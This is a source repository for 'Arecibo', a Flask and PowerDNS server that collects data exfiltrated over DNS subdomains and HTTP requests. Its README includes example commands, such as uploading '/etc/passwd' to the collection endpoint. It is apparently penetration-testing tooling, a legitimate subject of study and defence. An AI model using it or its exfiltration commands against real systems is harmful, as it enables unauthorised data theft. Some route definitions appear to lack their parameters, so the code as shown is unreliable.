├── README.md ├── arecibo-api.py ├── arecibo-dns-backend.py └── requirements.txt /README.md: -------------------------------------------------------------------------------- 1 | # Arecibo 2 | Endpoint for Out-of-Band Exfiltration (DNS & HTTP) 3 | 4 | #### Authors 5 | Juan Manuel Fernández ([@TheXC3LL](https://twitter.com/TheXC3LL)) & Pablo Martinez ([@Xassiz](https://twitter.com/Xassiz)) 6 | 7 | 8 | ## DNS Exfiltration 9 | Create a new token: 10 | ``` 11 | curl localhost:5000/generatedns 12 | 13 | {"htoken": "c008b5dd22817c50441522f917c66743"} 14 | ``` 15 | Now you can use this identificative token to do DNS resolutions (ABCD.TOKEN.x.yourdomain.com): 16 | 17 | ``` 18 | > test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO 19 | Server: 127.0.0.1 20 | Address: 127.0.0.1#53 21 | 22 | Name: DOMINIO 23 | Address: 127.0.0.1 24 | ``` 25 | 26 | You can check the hits and the data exfiltrated via /hitsdns/TOKEN: 27 | 28 | ``` 29 | curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743 30 | 31 | {"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]} 32 | 33 | ``` 34 | 35 | If you want all the data concatenated use /dumpdns/token: 36 | 37 | ``` 38 | curl localhost/dumpdns/c008b5dd22817c50441522f917c66743 39 | 40 | {"dump": "test-exfiltracionconcatenatedtootherinfo"} 41 | ``` 42 | 43 | ## HTTP Exfiltration 44 | 45 | Generate token: 46 | ``` 47 | curl localhost:5000/generatehttp 48 | 49 | {"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"} 50 | ``` 51 | 52 | Now you can exfiltrate information through HTTP requests ( http://yourodmain.com/h/TOKEN). The GET / POST parameters, headers and IP will be registered by Arecibo. 53 | 54 | ``` 55 | curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc 56 | It works! 57 | ``` 58 | 59 | To retrieve de info, use /hitshttp/TOKEN: 60 | 61 | ``` 62 | curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc 63 | 64 | {"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]} 65 | ``` 66 | 67 | If you need to show an arbitrary HTML, HEADERS or status code use the POST method to set its values (body must be base64-encoded): 68 | 69 | ``` 70 | curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}' 71 | { 72 | "htoken": "324e18288eed54548392c5a65514b3dc" 73 | } 74 | ``` 75 | 76 | ## Dynamic DNS resolution 77 | Arecibo resolves dominais with the schema X.Y.Z.A.ip.yourdomain.com as X.Y.Z.A: 78 | ``` 79 | > 10.0.0.1.ip.yourdomain.com 80 | Server: 127.0.0.1 81 | Address: 127.0.0.1#53 82 | 83 | Name: yourdomain.com 84 | Address: 10.0.0.1 85 | ``` 86 | 87 | ## File Transfer 88 | 89 | Upload a file using /upload endpoint: 90 | ``` 91 | curl localhost:5000/upload -F 'x-file=@/etc/passwd' 92 | 93 | {"htoken": "36981274bdb9cc833472681caeb82337"} 94 | ``` 95 | 96 | To download it use the generated token: 97 | 98 | ``` 99 | curl localhost:5000/download/36981274bdb9cc833472681caeb82337 100 | 101 | root:x:0:0:root:/root:/bin/bash 102 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 103 | ... 104 | ``` 105 | 106 | ## IP info 107 | 108 | Shows client IP via /ip: 109 | 110 | ``` 111 | curl localhost:5000/ip 112 | {"ip": "127.0.0.1"} 113 | ``` 114 | 115 | ## Installing & Configuring 116 | 117 | You need to install pdns & pdns-backend-pipe from your distro repos, and the modules flask & flask_restful for python. 118 | 119 | 1. Edit the configuration of arecibo-dns-backend.py with your values 120 | 2. Set execution privileges `chmod +x arecibo-dns-backend.py` 121 | 3. Edit pdns.conf (check where is in your distro) 122 | ``` 123 | setuid=1001 124 | setgid=1001 125 | launch=pipe 126 | pipe-command=/your/path/arecibo-dns-backend.py 127 | ``` 128 | (Change the setuid/setgid for the values used to run the API script, they must be the same) 129 | 130 | 4. Run arecibo-api.py & pdns_server (check where is in your distro) 131 | 132 | **YOUR SERVER MUST BE CONFIGURED AS AUTHORITATIVE DNS FOR YOUR DOMAIN** 133 | 134 | **IMPORTANT:** You must set up a nginx or other reverse proxy in front of Arecibo in order to provide authentication & security. 135 | -------------------------------------------------------------------------------- /arecibo-api.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from sys import stdin, stdout, stderr, exit 4 | import string, random, hashlib, time, json, os 5 | 6 | import sqlite3 7 | from flask import Flask, request, send_file, Response 8 | from flask_restful import Resource, Api 9 | 10 | 11 | 12 | ''''''''''''''''''''''''''''''''''''''''''''''''''''' 13 | Configuration 14 | ''' 15 | FLASK_LISTEN_PORT = 5000 16 | DEBUG_MODE = False 17 | DEFAULT_RESP_BODY = "It works!".encode("base64") 18 | DEFAULT_RESP_HEADERS = {"Server": "Apache"} 19 | DEFAULT_RESP_STATUS = 200 20 | 21 | '''''''''''''''''''''''''''''''''''''''''''''''''''''' 22 | 23 | 24 | # 25 | # Generate random hex string 26 | # 27 | def hexGenerator(): 28 | return hashlib.md5(''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)])).hexdigest() 29 | 30 | # 31 | # Get client IP address 32 | # 33 | def get_real_ip_address(): 34 | # If reverse proxied, return value of X-Real-IP header 35 | real_ip = request.headers.get('X-Real-IP', 'unknown') 36 | return request.remote_addr if request.remote_addr != '127.0.0.1' else real_ip 37 | 38 | 39 | 40 | class createDnsToken(Resource): 41 | def get(self): 42 | htoken = hexGenerator() 43 | while True: 44 | try: 45 | c.execute('''INSERT INTO dnshextokens VALUES (?, ?, ?)''', (htoken, time.time(), get_real_ip_address())) 46 | conn.commit() 47 | break 48 | except sqlite3.IntegrityError: 49 | stderr.write("[-] Duplicated DnsToken! Getting new one\n") 50 | stderr.flush() 51 | pass 52 | except: 53 | return {'error':'Could not create dnshextoken'} 54 | return {'htoken' : htoken} 55 | 56 | 57 | class retrieveDnsHits(Resource): 58 | def get(self, htoken): 59 | hits = c.execute('''SELECT * FROM dnshits WHERE htoken=?''', (htoken,)) 60 | return {'hits' : [dict(hit) for hit in hits]} 61 | 62 | 63 | class retrieveDnsHitsDump(Resource): 64 | def get(self, htoken): 65 | hits = c.execute('''SELECT data FROM dnshits WHERE htoken=?''', (htoken,)) 66 | res = ''.join(hit['data'] for hit in hits) 67 | return {'dump' : res} 68 | 69 | 70 | class createHttpToken(Resource): 71 | def insertDb(self, body=DEFAULT_RESP_BODY, headers=DEFAULT_RESP_HEADERS, status=DEFAULT_RESP_STATUS): 72 | htoken = hexGenerator() 73 | while True: 74 | try: 75 | c.execute('''INSERT INTO httphextokens VALUES (?,?,?,?,?,?)''', (htoken, time.time(), body, json.dumps(headers), status, get_real_ip_address())) 76 | conn.commit() 77 | break 78 | except sqlite3.IntegrityError: 79 | stderr.write("[-] Duplicated HttpToken! Getting new one\n") 80 | stderr.flush() 81 | pass 82 | except: 83 | return {'error':'Could not create dnshextoken'} 84 | return {'htoken' : htoken} 85 | 86 | def get(self): 87 | return self.insertDb() 88 | 89 | def post(self): 90 | data = request.get_json() 91 | 92 | body = data.get('body', DEFAULT_RESP_BODY) 93 | headers = data.get('headers', DEFAULT_RESP_HEADERS) 94 | status = data.get('status', DEFAULT_RESP_STATUS) 95 | 96 | return self.insertDb(body, headers, status) 97 | 98 | 99 | class hitHttp(Resource): 100 | def hit(self, htoken): 101 | c.execute('''SELECT * FROM httphextokens WHERE htoken=?''', (htoken,)) 102 | token = c.fetchone() 103 | if not token: 104 | resp = Response({'error' : 'invalid token'}, status=404) 105 | for key, value in DEFAULT_RESP_HEADERS.items(): 106 | resp.headers[key] = value 107 | return resp 108 | 109 | c.execute(''' 110 | INSERT INTO httphits(htoken, timestamp, get, post, headers, ip_address) 111 | VALUES (?,?,?,?,?,?) 112 | ''', 113 | (htoken, time.time(), json.dumps(request.args), json.dumps(request.form), json.dumps(dict(request.headers)), get_real_ip_address()) 114 | ) 115 | conn.commit() 116 | 117 | resp = Response(token['resp_body'].decode("base64"), status=token['status']) 118 | for key, value in json.loads(token['resp_headers']).items(): 119 | resp.headers[key] = value 120 | return resp 121 | 122 | def get(self, htoken): 123 | return self.hit(htoken) 124 | 125 | def post(self, htoken): 126 | return self.hit(htoken) 127 | 128 | 129 | class retrieveHttpHits(Resource): 130 | def get(self, htoken): 131 | res = [] 132 | for hit in c.execute('''SELECT * FROM httphits WHERE htoken=?''', (htoken,)): 133 | res.append({ 134 | 'htoken': hit['htoken'], 135 | 'timestamp' : hit['timestamp'], 136 | 'get' : json.loads(hit['get']), 137 | 'post' : json.loads(hit['post']), 138 | 'headers' : json.loads(hit['headers']), 139 | 'ip_address' : hit['ip_address'] 140 | }) 141 | return {'hits' : res} 142 | 143 | 144 | class uploadFile(Resource): 145 | def post(self): 146 | if 'x-file' not in request.files: 147 | return {'error':'invalid'}, 400 148 | 149 | file = request.files['x-file'] 150 | if file.filename == '': 151 | return {'error':'empty'}, 400 152 | 153 | htoken = hexGenerator() 154 | filename = hashlib.md5(htoken).hexdigest() 155 | file.save("/tmp/" + filename) 156 | return {'htoken' : htoken} 157 | 158 | 159 | class downloadFile(Resource): 160 | def get(self, htoken): 161 | filename = hashlib.md5(htoken).hexdigest() 162 | try: 163 | data = send_file("/tmp/" + filename, attachment_filename=filename) 164 | except Exception as e: 165 | return {'error':'Not found'}, 404 166 | 167 | if 'destroy' in request.args: 168 | os.remove("/tmp/" + filename) 169 | 170 | return data 171 | 172 | 173 | class showIP(Resource): 174 | def get(self): 175 | return {'ip' : get_real_ip_address()} 176 | 177 | 178 | 179 | 180 | if __name__ == '__main__': 181 | 182 | # Create database 183 | try: 184 | stderr.write("[+] Trying to set up SQLite Database...\n") 185 | conn = sqlite3.connect('database.db', check_same_thread=False, timeout=1) 186 | conn.row_factory = sqlite3.Row 187 | c = conn.cursor() 188 | c.executescript(''' 189 | CREATE TABLE IF NOT EXISTS dnshextokens ( 190 | htoken PRIMARY KEY, 191 | timestamp, 192 | ip_address 193 | ); 194 | 195 | CREATE TABLE IF NOT EXISTS dnshits ( 196 | id INTEGER PRIMARY KEY AUTOINCREMENT, 197 | htoken, 198 | timestamp, 199 | data, 200 | FOREIGN KEY(htoken) REFERENCES dnshextokens(htoken) 201 | ); 202 | 203 | CREATE TABLE IF NOT EXISTS httphextokens ( 204 | htoken, 205 | timestamp, 206 | resp_body, 207 | resp_headers, 208 | status, 209 | ip_address 210 | ); 211 | 212 | CREATE TABLE IF NOT EXISTS httphits ( 213 | id INTEGER PRIMARY KEY AUTOINCREMENT, 214 | htoken, 215 | timestamp, 216 | post, 217 | get, 218 | headers, 219 | ip_address, 220 | FOREIGN KEY(htoken) REFERENCES dnshextokens(htoken) 221 | ); 222 | ''') 223 | 224 | conn.commit() 225 | stderr.write("[+] Database UP and running!\n") 226 | stderr.flush() 227 | except Exception as e: 228 | stderr.write(str(e)) 229 | stderr.write("[!] Error: database is not up!\n") 230 | stderr.flush() 231 | exit(1) 232 | 233 | 234 | app = Flask("arecibo") 235 | api = Api(app) 236 | 237 | # DNS hits 238 | api.add_resource(createDnsToken, "/generatedns") 239 | api.add_resource(retrieveDnsHits, "/hitsdns/") 240 | api.add_resource(retrieveDnsHitsDump, "/dumpdns/") 241 | 242 | # HTTP hits 243 | api.add_resource(createHttpToken, "/generatehttp") 244 | api.add_resource(hitHttp, "/h/") 245 | api.add_resource(retrieveHttpHits, "/hitshttp/") 246 | 247 | # Other 248 | api.add_resource(uploadFile, "/upload") 249 | api.add_resource(downloadFile, "/download/") 250 | api.add_resource(showIP, "/ip") 251 | 252 | app.run(debug=DEBUG_MODE, port=FLASK_LISTEN_PORT) 253 | -------------------------------------------------------------------------------- /arecibo-dns-backend.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Arecibo Backend 4 | # Highly based on xip.io 5 | 6 | from sys import stdin, stdout, stderr 7 | import sqlite3 8 | import time 9 | 10 | 11 | #### CONFIGURATION #### 12 | 13 | 14 | version = "v01.1" 15 | domain = "XXXXXXXXXXXXXX 16 | ttl = "432000" 17 | ipaddress = "XXXXXXXXXXX0" 18 | ids = "1" 19 | hostmaster="XXXXXXX@x.xxx" 20 | soa = '%s %s %s' % ("ns1." + domain, hostmaster, ids) 21 | 22 | 23 | ####################### 24 | 25 | 26 | conn = sqlite3.connect('database.db', check_same_thread=False, timeout=1) 27 | c = conn.cursor() 28 | 29 | # Read new line from STDIN 30 | def readLine(): 31 | data = stdin.readline() 32 | data = data.strip().split('\t') 33 | return data 34 | 35 | 36 | # Use when ask for the own domain 37 | def handleIt(qname, ip): 38 | stdout.write("DATA\t" + qname + "\tIN\tA\t" + ttl + "\t" + ids + "\t" + ip + "\n") 39 | stdout.write("DATA\t" + qname + "\tIN\tNS\t" + ttl + "\t" + ids + "\t" + "ns1." + domain + "\n") 40 | stdout.write("DATA\t" + qname + "\tIN\tNS\t" + ttl + "\t" + ids + "\t" + "ns2." + domain + "\n") 41 | stdout.write("END\n") 42 | stdout.flush() 43 | 44 | def handleSoa(qname): 45 | stdout.write("DATA\t" + qname + "\tIN\tSOA\t" + ttl + "\t" + ids + "\t" + soa + "\n") 46 | stdout.write("END\n") 47 | stdout.flush() 48 | 49 | def handleNS(qname): 50 | stdout.write("DATA\t" + qname + "\tIN\tA\t" + ttl + "\t" + ids + "\t" + "\t" + ipaddress + "\n") 51 | stdout.write("END\n") 52 | stdout.flush() 53 | 54 | 55 | # Exfiltration request 56 | def handleX(qname): 57 | raw = qname.split(".") 58 | htoken = raw[-4] 59 | data = '.'.join(raw[:-4]) 60 | stderr.write(" [-] Hextoken: " + htoken + "\n") 61 | stderr.write(" [-] Data: " + data + "\n") 62 | stderr.flush() 63 | c.execute('''SELECT * FROM dnshextokens WHERE htoken=?''', (htoken,)) 64 | row = c.fetchone() 65 | if row: 66 | c.execute('''INSERT INTO dnshits(htoken, timestamp, data) VALUES (?, ?, ?)''', (htoken, time.time(), data)) 67 | conn.commit() 68 | else: 69 | stderr.write(" /!\\ Invalid HexToken /!\\\n") 70 | stderr.flush() 71 | handleIt(qname, ipaddress) 72 | 73 | 74 | # Dynamic IP request 75 | def handleD(qname): 76 | raw = qname.split(".") 77 | if len(raw) != 7: 78 | stderr.write(" /!\\ Invalid IP /!\\ \n") 79 | stderr.flush() 80 | return 81 | ip = '.'.join(raw[:-3]) 82 | handleIt(qname, ip) 83 | 84 | 85 | 86 | 87 | # Welcome message! 88 | def startUp(): 89 | banner = ''' 90 | 91 | ============[CONTACT]=========== 92 | ,-. 93 | / \ `. __..-,O 94 | : \ --''_..-'.' 95 | | . .-' `. '. 96 | : . .`.' 97 | \ `. / .. 98 | \ `. ' . 99 | `, `. \\ 100 | ,|,`. `-.\\ 101 | '.|| ``-...__..-` 102 | | | 103 | |__| Welcome to Arecibo! 104 | /||\\ 105 | //||\\\\ 106 | // || \\\\ 107 | __//__||__\\\\__ 108 | '--------------' 109 | 110 | 111 | ================================ 112 | CONFIGURATION 113 | ================================ 114 | 115 | ''' 116 | stderr.write(banner) 117 | stderr.write("[+] Domain: " + domain + "\n") 118 | stderr.write("[+] IP Address: " + ipaddress + "\n") 119 | stderr.write("[+] Hostmaster: " + hostmaster + "\n") 120 | stderr.write("================================\n") 121 | stderr.flush() 122 | 123 | # Lets go! 124 | readLine() 125 | stdout.write("Arecibo is up\n") 126 | stdout.flush() 127 | while True: 128 | indata = readLine() 129 | if len(indata) < 6: 130 | #stderr.write("[+] Can not parse!\n") 131 | stderr.flush() 132 | continue 133 | qname = indata[1].lower() 134 | qtype = indata[3] 135 | 136 | # DNS logic 137 | stderr.flush() 138 | if (qtype == "A" or qtype == "ANY") and qname.endswith(domain): 139 | stderr.write("[+] A or ANY question\n") 140 | stderr.flush() 141 | if qname == domain: 142 | handleIt(domain, ipaddress) 143 | elif (qname == "ns1." + domain or qname == "ns2." + domain): 144 | handleNS(qname) 145 | elif(qname.endswith("x." + domain)): 146 | stderr.write(" [->] eXfiltration request: " + qname + "\n") 147 | stderr.flush() 148 | handleX(qname) 149 | elif(qname.endswith("ip." + domain)): 150 | stderr.write(" [->] Dynamic IP request: " + qname + "\n") 151 | stderr.flush() 152 | handleD(qname) 153 | 154 | if (qtype == "SOA" and qname.endswith(domain)): 155 | stderr.write("[+] SOA request\n") 156 | stderr.flush() 157 | handleSoa(qname) 158 | 159 | 160 | if __name__ == '__main__': 161 | startUp() 162 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | flask_restful 3 | --------------------------------------------------------------------------------